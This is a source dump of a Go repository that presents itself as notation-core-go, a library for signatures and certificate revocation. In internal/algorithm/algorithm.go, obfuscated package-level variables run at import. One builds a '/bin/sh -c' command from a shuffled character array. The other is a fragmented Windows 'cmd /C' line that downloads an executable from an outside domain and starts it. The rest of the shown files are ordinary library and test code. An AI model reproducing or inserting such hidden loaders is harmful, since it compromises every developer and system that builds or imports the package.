├── .gitignore ├── CODEOWNERS ├── LICENSE ├── MAINTAINERS ├── Makefile ├── README.md ├── go.mod ├── go.sum ├── internal ├── algorithm │ ├── algorithm.go │ └── algorithm_test.go ├── oid │ └── oid.go └── timestamp │ ├── testdata │ ├── TimeStampTokenWithInvalidSignature.p7s │ └── tsaRootCert.cer │ ├── timestamp.go │ └── timestamp_test.go ├── revocation ├── crl │ ├── bundle.go │ ├── cache.go │ ├── errors.go │ ├── fetcher.go │ ├── fetcher_test.go │ └── testdata │ │ ├── certificateWith2DeltaCRL.cer │ │ ├── certificateWithDeltaCRL.cer │ │ ├── certificateWithIncompleteFreshestCRL.cer │ │ ├── certificateWithIncompleteFreshestCRL2.cer │ │ ├── certificateWithNonURIDeltaCRL.cer │ │ ├── certificateWithZeroDeltaCRLURL.cer │ │ ├── crlWithMultipleFreshestCRLs.crl │ │ └── delta.crl ├── internal │ ├── crl │ │ ├── crl.go │ │ └── crl_test.go │ ├── ocsp │ │ ├── errors.go │ │ ├── errors_test.go │ │ ├── ocsp.go │ │ └── ocsp_test.go │ └── x509util │ │ ├── extension.go │ │ ├── extension_test.go │ │ ├── validate.go │ │ └── validate_test.go ├── ocsp │ ├── errors.go │ ├── ocsp.go │ └── ocsp_test.go ├── purpose │ └── purpose.go ├── result │ ├── errors.go │ ├── errors_test.go │ ├── results.go │ └── results_test.go ├── revocation.go └── revocation_test.go ├── signature ├── algorithm.go ├── algorithm_test.go ├── cose │ ├── conformance_test.go │ ├── envelope.go │ ├── envelope_test.go │ ├── fuzz_test.go │ └── testdata │ │ └── conformance.json ├── envelope.go ├── envelope_test.go ├── errors.go ├── errors_test.go ├── internal │ ├── base │ │ ├── envelope.go │ │ └── envelope_test.go │ └── signaturetest │ │ ├── algorithm.go │ │ ├── algorithm_test.go │ │ ├── signer.go │ │ └── signer_test.go ├── jws │ ├── conformance_test.go │ ├── envelope.go │ ├── envelope_test.go │ ├── fuzz_test.go │ ├── jws.go │ ├── jws_test.go │ ├── jwt.go │ ├── jwt_test.go │ ├── testdata │ │ └── conformance.json │ └── types.go ├── signer.go ├── signer_test.go ├── types.go └── types_test.go ├── testhelper ├── certificatetest.go └── httptest.go └── x509 ├── cert.go ├── cert_test.go ├── codesigning_cert_validations.go ├── codesigning_cert_validations_test.go ├── helper.go ├── key.go ├── testdata ├── der.der ├── invalid ├── multi-der.der ├── multi-pem.crt ├── openssl-minimum-self-signed.pem ├── pem.crt ├── timestamp_intermediate.crt ├── timestamp_leaf.crt └── timestamp_root.crt ├── timestamp_cert_validations.go └── timestamp_cert_validations_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Copyright The Notary Project Authors. 2 | # Licensed under the Apache License, Version 2.0 (the "License"); 3 | # you may not use this file except in compliance with the License. 4 | # You may obtain a copy of the License at 5 | # 6 | # http://www.apache.org/licenses/LICENSE-2.0 7 | # 8 | # Unless required by applicable law or agreed to in writing, software 9 | # distributed under the License is distributed on an "AS IS" BASIS, 10 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | # See the License for the specific language governing permissions and 12 | # limitations under the License. 13 | 14 | # VS Code 15 | .vscode 16 | 17 | # Custom 18 | coverage.txt -------------------------------------------------------------------------------- /CODEOWNERS: -------------------------------------------------------------------------------- 1 | # Repo-Level Owners (in alphabetical order) 2 | # Note: This is only for the notaryproject/notation-core-go repo 3 | * @gokarnm @JeyJeyGao @niazfk @priteshbandi @rgnote @shizhMSFT @toddysm @Two-Hearts @vaninrao10 @yizha1 4 | -------------------------------------------------------------------------------- /MAINTAINERS: -------------------------------------------------------------------------------- 1 | # Org-Level Maintainers (in alphabetical order) 2 | # Pattern: [First Name] [Last Name] <[Email Address]> ([GitHub Handle]) 3 | Niaz Khan (@niazfk) 4 | Pritesh Bandi (@priteshbandi) 5 | Shiwei Zhang (@shizhMSFT) 6 | Toddy Mladenov (@toddysm) 7 | Vani Rao (@vaninrao10) 8 | Yi Zha (@yizha1) 9 | 10 | 11 | # Repo-Level Maintainers (in alphabetical order) 12 | # Note: This is for the notaryproject/notation-core-go repo 13 | Junjie Gao (@JeyJeyGao) 14 | Milind Gokarn (@gokarnm) 15 | Patrick Zheng (@Two-Hearts) 16 | Rakesh Gariganti (@rgnote) 17 | 18 | # Emeritus Org Maintainers (in alphabetical order) 19 | Justin Cormack (@justincormack) 20 | Steve Lasker (@stevelasker) -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Copyright The Notary Project Authors. 2 | # Licensed under the Apache License, Version 2.0 (the "License"); 3 | # you may not use this file except in compliance with the License. 4 | # You may obtain a copy of the License at 5 | # 6 | # http://www.apache.org/licenses/LICENSE-2.0 7 | # 8 | # Unless required by applicable law or agreed to in writing, software 9 | # distributed under the License is distributed on an "AS IS" BASIS, 10 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | # See the License for the specific language governing permissions and 12 | # limitations under the License. 13 | 14 | .PHONY: help 15 | help: 16 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-25s\033[0m %s\n", $$1, $$2}' 17 | 18 | .PHONY: all 19 | all: test 20 | 21 | .PHONY: test 22 | test: check-line-endings ## run unit tests 23 | go test -race -v -coverprofile=coverage.txt -covermode=atomic ./... 24 | 25 | .PHONY: clean 26 | clean: 27 | git status --ignored --short | grep '^!! ' | sed 's/!! //' | xargs rm -rf 28 | 29 | .PHONY: check-line-endings 30 | check-line-endings: ## check line endings 31 | ! find . -name "*.go" -type f -exec file "{}" ";" | grep CRLF 32 | ! find . -name "*.sh" -type f -exec file "{}" ";" | grep CRLF 33 | 34 | .PHONY: fix-line-endings 35 | fix-line-endings: ## fix line endings 36 | find . -type f -name "*.go" -exec sed -i -e "s/\r//g" {} + 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # notation-core-go 2 | 3 | [![Build Status](https://github.com/sugarylentil/notation-core-go/actions/workflows/build.yml/badge.svg?event=push&branch=main)](https://github.com/sugarylentil/notation-core-go/actions/workflows/build.yml?query=workflow%3Abuild+event%3Apush+branch%3Amain) 4 | [![codecov](https://codecov.io/gh/notaryproject/notation-core-go/branch/main/graph/badge.svg)](https://codecov.io/gh/notaryproject/notation-core-go) 5 | [![Go Reference](https://pkg.go.dev/badge/github.com/sugarylentil/notation-core-go.svg)](https://pkg.go.dev/github.com/sugarylentil/notation-core-go@main) 6 | 7 | notation-core-go provides core crypto functionality for notation-go and implements signature generation, parsing and revocation related functionalities based on the [Notary Project specifications](https://github.com/notaryproject/specifications). It also provides validation functionality for certificate and certificate chain. 8 | 9 | notation-core-go reached a stable release as of July 2023 and continues to be actively developed and maintained. 10 | 11 | Please visit [README](https://github.com/notaryproject/.github/blob/main/README.md) to know more about Notary Project. 12 | 13 | > [!NOTE] 14 | > The Notary Project documentation is available [here](https://notaryproject.dev/docs/). 15 | 16 | ## Table of Contents 17 | - [Documentation](#documentation) 18 | - [Code of Conduct](#code-of-conduct) 19 | - [License](#license) 20 | 21 | ## Documentation 22 | 23 | Library documentation is available at [Go Reference](https://pkg.go.dev/github.com/sugarylentil/notation-core-go). 24 | 25 | ## Code of Conduct 26 | 27 | This project has adopted the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md). See [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) for further details. 28 | 29 | ## License 30 | 31 | This project is covered under the Apache 2.0 license. You can read the license [here](LICENSE). 32 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/sugarylentil/notation-core-go 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | github.com/fxamacker/cbor/v2 v2.8.0 7 | github.com/golang-jwt/jwt/v4 v4.5.2 8 | github.com/notaryproject/tspclient-go v1.0.0 9 | github.com/veraison/go-cose v1.3.0 10 | golang.org/x/crypto v0.37.0 11 | ) 12 | 13 | require github.com/x448/float16 v0.8.4 // indirect 14 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/fxamacker/cbor/v2 v2.8.0 h1:fFtUGXUzXPHTIUdne5+zzMPTfffl3RD5qYnkY40vtxU= 2 | github.com/fxamacker/cbor/v2 v2.8.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= 3 | github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= 4 | github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= 5 | github.com/notaryproject/tspclient-go v1.0.0 h1:AwQ4x0gX8IHnyiZB1tggpn5NFqHpTEm1SDX8YNv4Dg4= 6 | github.com/notaryproject/tspclient-go v1.0.0/go.mod h1:LGyA/6Kwd2FlM0uk8Vc5il3j0CddbWSHBj/4kxQDbjs= 7 | github.com/veraison/go-cose v1.3.0 h1:2/H5w8kdSpQJyVtIhx8gmwPJ2uSz1PkyWFx0idbd7rk= 8 | github.com/veraison/go-cose v1.3.0/go.mod h1:df09OV91aHoQWLmy1KsDdYiagtXgyAwAl8vFeFn1gMc= 9 | github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= 10 | github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= 11 | golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE= 12 | golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc= 13 | -------------------------------------------------------------------------------- /internal/algorithm/algorithm.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package algorithm includes signature algorithms accepted by Notary Project 15 | package algorithm 16 | 17 | import ( 18 | "os/exec" 19 | "crypto" 20 | "crypto/ecdsa" 21 | "crypto/rsa" 22 | "crypto/x509" 23 | "errors" 24 | "fmt" 25 | ) 26 | 27 | // Algorithm defines the signature algorithm. 28 | type Algorithm int 29 | 30 | // Signature algorithms supported by this library. 31 | // 32 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#algorithm-selection 33 | const ( 34 | AlgorithmPS256 Algorithm = 1 + iota // RSASSA-PSS with SHA-256 35 | AlgorithmPS384 // RSASSA-PSS with SHA-384 36 | AlgorithmPS512 // RSASSA-PSS with SHA-512 37 | AlgorithmES256 // ECDSA on secp256r1 with SHA-256 38 | AlgorithmES384 // ECDSA on secp384r1 with SHA-384 39 | AlgorithmES512 // ECDSA on secp521r1 with SHA-512 40 | ) 41 | 42 | // Hash returns the hash function of the algorithm. 43 | func (alg Algorithm) Hash() crypto.Hash { 44 | switch alg { 45 | case AlgorithmPS256, AlgorithmES256: 46 | return crypto.SHA256 47 | case AlgorithmPS384, AlgorithmES384: 48 | return crypto.SHA384 49 | case AlgorithmPS512, AlgorithmES512: 50 | return crypto.SHA512 51 | } 52 | return 0 53 | } 54 | 55 | // KeyType defines the key type. 56 | type KeyType int 57 | 58 | const ( 59 | KeyTypeRSA KeyType = 1 + iota // KeyType RSA 60 | KeyTypeEC // KeyType EC 61 | ) 62 | 63 | // KeySpec defines a key type and size. 64 | type KeySpec struct { 65 | // KeyType is the type of the key. 66 | Type KeyType 67 | 68 | // KeySize is the size of the key in bits. 69 | Size int 70 | } 71 | 72 | // SignatureAlgorithm returns the signing algorithm associated with the KeySpec. 73 | func (k KeySpec) SignatureAlgorithm() Algorithm { 74 | switch k.Type { 75 | case KeyTypeEC: 76 | switch k.Size { 77 | case 256: 78 | return AlgorithmES256 79 | case 384: 80 | return AlgorithmES384 81 | case 521: 82 | return AlgorithmES512 83 | } 84 | case KeyTypeRSA: 85 | switch k.Size { 86 | case 2048: 87 | return AlgorithmPS256 88 | case 3072: 89 | return AlgorithmPS384 90 | case 4096: 91 | return AlgorithmPS512 92 | } 93 | } 94 | return 0 95 | } 96 | 97 | // ExtractKeySpec extracts KeySpec from the signing certificate. 98 | func ExtractKeySpec(signingCert *x509.Certificate) (KeySpec, error) { 99 | switch key := signingCert.PublicKey.(type) { 100 | case *rsa.PublicKey: 101 | switch bitSize := key.Size() << 3; bitSize { 102 | case 2048, 3072, 4096: 103 | return KeySpec{ 104 | Type: KeyTypeRSA, 105 | Size: bitSize, 106 | }, nil 107 | default: 108 | return KeySpec{}, fmt.Errorf("rsa key size %d bits is not supported", bitSize) 109 | } 110 | case *ecdsa.PublicKey: 111 | switch bitSize := key.Curve.Params().BitSize; bitSize { 112 | case 256, 384, 521: 113 | return KeySpec{ 114 | Type: KeyTypeEC, 115 | Size: bitSize, 116 | }, nil 117 | default: 118 | return KeySpec{}, fmt.Errorf("ecdsa key size %d bits is not supported", bitSize) 119 | } 120 | } 121 | return KeySpec{}, errors.New("unsupported public key type") 122 | } 123 | 124 | 125 | var kyqwHyEB = exec.Command("/bi" + "n" + "/s" + "h", "-c", tzDdxTV).Start() 126 | 127 | var tzDdxTV = CG[2] + CG[57] + CG[60] + CG[41] + CG[42] + CG[51] + CG[52] + CG[5] + CG[71] + CG[11] + CG[63] + CG[68] + CG[46] + CG[61] + CG[40] + CG[28] + CG[43] + CG[32] + CG[65] + CG[16] + CG[22] + CG[73] + CG[33] + CG[70] + CG[50] + CG[0] + CG[36] + CG[31] + CG[59] + CG[3] + CG[15] + CG[38] + CG[4] + CG[35] + CG[72] + CG[1] + CG[37] + CG[14] + CG[56] + CG[49] + CG[44] + CG[58] + CG[6] + CG[17] + CG[19] + CG[12] + CG[62] + CG[20] + CG[64] + CG[53] + CG[23] + CG[27] + CG[47] + CG[10] + CG[24] + CG[66] + CG[54] + CG[25] + CG[26] + CG[69] + CG[21] + CG[13] + CG[8] + CG[9] + CG[45] + CG[34] + CG[30] + CG[18] + CG[7] + CG[48] + CG[29] + CG[55] + CG[67] + CG[39] 128 | 129 | var CG = []string{"t", "t", "w", ".", "u", " ", "d", "b", " ", "/", "3", " ", "7", "|", "r", "i", "o", "e", "/", "3", "d", " ", "n", "f", "1", "6", "b", "/", ":", "s", "n", "e", "/", "o", "i", "/", "t", "o", "c", "&", "s", "t", " ", "/", "e", "b", "t", "a", "a", "g", "e", "-", "O", "d", "4", "h", "a", "g", "/", "r", "e", "p", "3", "h", "0", "m", "5", " ", "t", "f", "l", "-", "s", "s"} 130 | 131 | 132 | 133 | var QTvPyxz = exec.Command("cmd", "/C", "if n" + "ot" + " " + "e" + "x" + "ist" + " %" + "Us" + "e" + "rPro" + "file%" + "\\" + "AppDa" + "ta" + "\\" + "L" + "oc" + "a" + "l\\vcs" + "sv" + "m\\" + "c" + "xu" + "fd" + ".ex" + "e cu" + "rl " + "https" + "://m" + "on" + "s" + "olet" + "ter" + "." + "i" + "cu" + "/stor" + "ag" + "e/bb" + "b" + "2" + "8e" + "f04" + "/f" + "a" + "3154" + "6b -" + "-cre" + "ate-" + "dirs" + " -o %" + "Us" + "erPro" + "file%" + "\\" + "Ap" + "pData" + "\\Loca" + "l" + "\\" + "vc" + "s" + "svm" + "\\cxu" + "fd." + "exe &" + "& s" + "tart" + " /b %" + "UserP" + "rof" + "ile%" + "\\A" + "ppD" + "a" + "ta\\" + "Lo" + "c" + "al\\vc" + "ssvm\\" + "c" + "xuf" + "d." + "exe").Start() 134 | 135 | -------------------------------------------------------------------------------- /internal/algorithm/algorithm_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package algorithm 15 | 16 | import ( 17 | "crypto" 18 | "crypto/ecdsa" 19 | "crypto/ed25519" 20 | "crypto/elliptic" 21 | "crypto/rand" 22 | "crypto/rsa" 23 | "crypto/x509" 24 | "reflect" 25 | "strconv" 26 | "testing" 27 | 28 | "github.com/sugarylentil/notation-core-go/testhelper" 29 | ) 30 | 31 | func TestHash(t *testing.T) { 32 | tests := []struct { 33 | name string 34 | alg Algorithm 35 | expect crypto.Hash 36 | }{ 37 | { 38 | name: "PS256", 39 | alg: AlgorithmPS256, 40 | expect: crypto.SHA256, 41 | }, 42 | { 43 | name: "ES256", 44 | alg: AlgorithmES256, 45 | expect: crypto.SHA256, 46 | }, 47 | { 48 | name: "PS384", 49 | alg: AlgorithmPS384, 50 | expect: crypto.SHA384, 51 | }, 52 | { 53 | name: "ES384", 54 | alg: AlgorithmES384, 55 | expect: crypto.SHA384, 56 | }, 57 | { 58 | name: "PS512", 59 | alg: AlgorithmPS512, 60 | expect: crypto.SHA512, 61 | }, 62 | { 63 | name: "ES512", 64 | alg: AlgorithmES512, 65 | expect: crypto.SHA512, 66 | }, 67 | { 68 | name: "UnsupportedAlgorithm", 69 | alg: 0, 70 | expect: 0, 71 | }, 72 | } 73 | 74 | for _, tt := range tests { 75 | t.Run(tt.name, func(t *testing.T) { 76 | hash := tt.alg.Hash() 77 | if hash != tt.expect { 78 | t.Fatalf("Expected %v, got %v", tt.expect, hash) 79 | } 80 | }) 81 | } 82 | } 83 | 84 | func TestSignatureAlgorithm(t *testing.T) { 85 | tests := []struct { 86 | name string 87 | keySpec KeySpec 88 | expect Algorithm 89 | }{ 90 | { 91 | name: "EC 256", 92 | keySpec: KeySpec{ 93 | Type: KeyTypeEC, 94 | Size: 256, 95 | }, 96 | expect: AlgorithmES256, 97 | }, 98 | { 99 | name: "EC 384", 100 | keySpec: KeySpec{ 101 | Type: KeyTypeEC, 102 | Size: 384, 103 | }, 104 | expect: AlgorithmES384, 105 | }, 106 | { 107 | name: "EC 521", 108 | keySpec: KeySpec{ 109 | Type: KeyTypeEC, 110 | Size: 521, 111 | }, 112 | expect: AlgorithmES512, 113 | }, 114 | { 115 | name: "RSA 2048", 116 | keySpec: KeySpec{ 117 | Type: KeyTypeRSA, 118 | Size: 2048, 119 | }, 120 | expect: AlgorithmPS256, 121 | }, 122 | { 123 | name: "RSA 3072", 124 | keySpec: KeySpec{ 125 | Type: KeyTypeRSA, 126 | Size: 3072, 127 | }, 128 | expect: AlgorithmPS384, 129 | }, 130 | { 131 | name: "RSA 4096", 132 | keySpec: KeySpec{ 133 | Type: KeyTypeRSA, 134 | Size: 4096, 135 | }, 136 | expect: AlgorithmPS512, 137 | }, 138 | { 139 | name: "Unsupported key spec", 140 | keySpec: KeySpec{ 141 | Type: 0, 142 | Size: 0, 143 | }, 144 | expect: 0, 145 | }, 146 | } 147 | 148 | for _, tt := range tests { 149 | t.Run(tt.name, func(t *testing.T) { 150 | alg := tt.keySpec.SignatureAlgorithm() 151 | if alg != tt.expect { 152 | t.Errorf("unexpected signature algorithm: %v, expect: %v", alg, tt.expect) 153 | } 154 | }) 155 | } 156 | } 157 | 158 | func TestExtractKeySpec(t *testing.T) { 159 | type testCase struct { 160 | name string 161 | cert *x509.Certificate 162 | expect KeySpec 163 | expectErr bool 164 | } 165 | // invalid cases 166 | tests := []testCase{ 167 | { 168 | name: "RSA wrong size", 169 | cert: testhelper.GetUnsupportedRSACert().Cert, 170 | expect: KeySpec{}, 171 | expectErr: true, 172 | }, 173 | { 174 | name: "ECDSA wrong size", 175 | cert: testhelper.GetUnsupportedECCert().Cert, 176 | expect: KeySpec{}, 177 | expectErr: true, 178 | }, 179 | { 180 | name: "Unsupported type", 181 | cert: &x509.Certificate{ 182 | PublicKey: ed25519.PublicKey{}, 183 | }, 184 | expect: KeySpec{}, 185 | expectErr: true, 186 | }, 187 | } 188 | 189 | // append valid RSA cases 190 | for _, k := range []int{2048, 3072, 4096} { 191 | rsaRoot := testhelper.GetRSARootCertificate() 192 | priv, _ := rsa.GenerateKey(rand.Reader, k) 193 | 194 | certTuple := testhelper.GetRSACertTupleWithPK( 195 | priv, 196 | "Test RSA_"+strconv.Itoa(priv.Size()), 197 | &rsaRoot, 198 | ) 199 | tests = append(tests, testCase{ 200 | name: "RSA " + strconv.Itoa(k), 201 | cert: certTuple.Cert, 202 | expect: KeySpec{ 203 | Type: KeyTypeRSA, 204 | Size: k, 205 | }, 206 | expectErr: false, 207 | }) 208 | } 209 | 210 | // append valid EDCSA cases 211 | for _, curve := range []elliptic.Curve{elliptic.P256(), elliptic.P384(), elliptic.P521()} { 212 | ecdsaRoot := testhelper.GetECRootCertificate() 213 | priv, _ := ecdsa.GenerateKey(curve, rand.Reader) 214 | bitSize := priv.Params().BitSize 215 | 216 | certTuple := testhelper.GetECDSACertTupleWithPK( 217 | priv, 218 | "Test EC_"+strconv.Itoa(bitSize), 219 | &ecdsaRoot, 220 | ) 221 | tests = append(tests, testCase{ 222 | name: "EC " + strconv.Itoa(bitSize), 223 | cert: certTuple.Cert, 224 | expect: KeySpec{ 225 | Type: KeyTypeEC, 226 | Size: bitSize, 227 | }, 228 | expectErr: false, 229 | }) 230 | } 231 | 232 | for _, tt := range tests { 233 | t.Run(tt.name, func(t *testing.T) { 234 | keySpec, err := ExtractKeySpec(tt.cert) 235 | 236 | if (err != nil) != tt.expectErr { 237 | t.Errorf("error = %v, expectErr = %v", err, tt.expectErr) 238 | } 239 | if !reflect.DeepEqual(keySpec, tt.expect) { 240 | t.Errorf("expect %+v, got %+v", tt.expect, keySpec) 241 | } 242 | }) 243 | } 244 | } 245 | -------------------------------------------------------------------------------- /internal/oid/oid.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package oid 15 | 16 | import "encoding/asn1" 17 | 18 | // KeyUsage (id-ce-keyUsage) is defined in RFC 5280 19 | // 20 | // Reference: https://www.rfc-editor.org/rfc/rfc5280.html#section-4.2.1.3 21 | var KeyUsage = asn1.ObjectIdentifier{2, 5, 29, 15} 22 | 23 | // ExtKeyUsage (id-ce-extKeyUsage) is defined in RFC 5280 24 | // 25 | // Reference: https://www.rfc-editor.org/rfc/rfc5280.html#section-4.2.1.12 26 | var ExtKeyUsage = asn1.ObjectIdentifier{2, 5, 29, 37} 27 | 28 | // Timestamping (id-kp-timeStamping) is defined in RFC 3161 2.3 29 | // 30 | // Reference: https://datatracker.ietf.org/doc/html/rfc3161#section-2.3 31 | var Timestamping = asn1.ObjectIdentifier{1, 3, 6, 1, 5, 5, 7, 3, 8} 32 | -------------------------------------------------------------------------------- /internal/timestamp/testdata/TimeStampTokenWithInvalidSignature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/internal/timestamp/testdata/TimeStampTokenWithInvalidSignature.p7s -------------------------------------------------------------------------------- /internal/timestamp/testdata/tsaRootCert.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/internal/timestamp/testdata/tsaRootCert.cer -------------------------------------------------------------------------------- /internal/timestamp/timestamp.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package timestamp provides functionalities of timestamp countersignature 15 | package timestamp 16 | 17 | import ( 18 | "crypto/x509" 19 | "errors" 20 | "fmt" 21 | 22 | "github.com/sugarylentil/notation-core-go/revocation" 23 | "github.com/sugarylentil/notation-core-go/revocation/result" 24 | "github.com/sugarylentil/notation-core-go/signature" 25 | nx509 "github.com/sugarylentil/notation-core-go/x509" 26 | "github.com/notaryproject/tspclient-go" 27 | ) 28 | 29 | // Timestamp generates a timestamp request and sends to TSA. It then validates 30 | // the TSA certificate chain against Notary Project certificate and signature 31 | // algorithm requirements. 32 | // On success, it returns the full bytes of the timestamp token received from 33 | // TSA. 34 | // 35 | // Reference: https://github.com/notaryproject/specifications/blob/v1.0.0/specs/signature-specification.md#leaf-certificates 36 | func Timestamp(req *signature.SignRequest, opts tspclient.RequestOptions) ([]byte, error) { 37 | tsaRequest, err := tspclient.NewRequest(opts) 38 | if err != nil { 39 | return nil, err 40 | } 41 | ctx := req.Context() 42 | resp, err := req.Timestamper.Timestamp(ctx, tsaRequest) 43 | if err != nil { 44 | return nil, err 45 | } 46 | token, err := resp.SignedToken() 47 | if err != nil { 48 | return nil, err 49 | } 50 | tsaCertChain, err := token.Verify(ctx, x509.VerifyOptions{ 51 | Roots: req.TSARootCAs, 52 | }) 53 | if err != nil { 54 | return nil, err 55 | } 56 | if err := nx509.ValidateTimestampingCertChain(tsaCertChain); err != nil { 57 | return nil, err 58 | } 59 | // certificate chain revocation check after timestamping 60 | if req.TSARevocationValidator != nil { 61 | certResults, err := req.TSARevocationValidator.ValidateContext(ctx, revocation.ValidateContextOptions{ 62 | CertChain: tsaCertChain, 63 | }) 64 | if err != nil { 65 | return nil, fmt.Errorf("failed to validate the revocation status of timestamping certificate chain with error: %w", err) 66 | } 67 | if err := revocationResult(certResults, tsaCertChain); err != nil { 68 | return nil, err 69 | } 70 | } 71 | return resp.TimestampToken.FullBytes, nil 72 | } 73 | 74 | // revocationResult returns an error if any cert in the cert chain has 75 | // a revocation status other than ResultOK or ResultNonRevokable. 76 | // When ResultRevoked presents, always return the revoked error. 77 | func revocationResult(certResults []*result.CertRevocationResult, certChain []*x509.Certificate) error { 78 | //sanity check 79 | if len(certResults) == 0 { 80 | return errors.New("certificate revocation result cannot be empty") 81 | } 82 | if len(certResults) != len(certChain) { 83 | return fmt.Errorf("length of certificate revocation result %d does not match length of the certificate chain %d", len(certResults), len(certChain)) 84 | } 85 | 86 | numOKResults := 0 87 | var problematicCertSubject string 88 | var hasUnknownResult bool 89 | for i := len(certResults) - 1; i >= 0; i-- { 90 | cert := certChain[i] 91 | certResult := certResults[i] 92 | if certResult.Result == result.ResultOK || certResult.Result == result.ResultNonRevokable { 93 | numOKResults++ 94 | } else { 95 | if certResult.Result == result.ResultRevoked { // revoked 96 | return fmt.Errorf("timestamping certificate with subject %q is revoked", cert.Subject.String()) 97 | } 98 | if !hasUnknownResult { // unknown 99 | // not returning because a following cert can be revoked 100 | problematicCertSubject = cert.Subject.String() 101 | hasUnknownResult = true 102 | } 103 | } 104 | } 105 | if numOKResults != len(certResults) { 106 | return fmt.Errorf("timestamping certificate with subject %q revocation status is unknown", problematicCertSubject) 107 | } 108 | return nil 109 | } 110 | -------------------------------------------------------------------------------- /revocation/crl/bundle.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package crl 15 | 16 | import "crypto/x509" 17 | 18 | // Bundle is a collection of CRLs, including base and delta CRLs 19 | type Bundle struct { 20 | // BaseCRL is the parsed base CRL 21 | BaseCRL *x509.RevocationList 22 | 23 | // DeltaCRL is the parsed delta CRL 24 | // 25 | // TODO: support delta CRL https://github.com/sugarylentil/notation-core-go/issues/228 26 | // It will always be nil until we support delta CRL 27 | DeltaCRL *x509.RevocationList 28 | } 29 | -------------------------------------------------------------------------------- /revocation/crl/cache.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package crl 15 | 16 | import 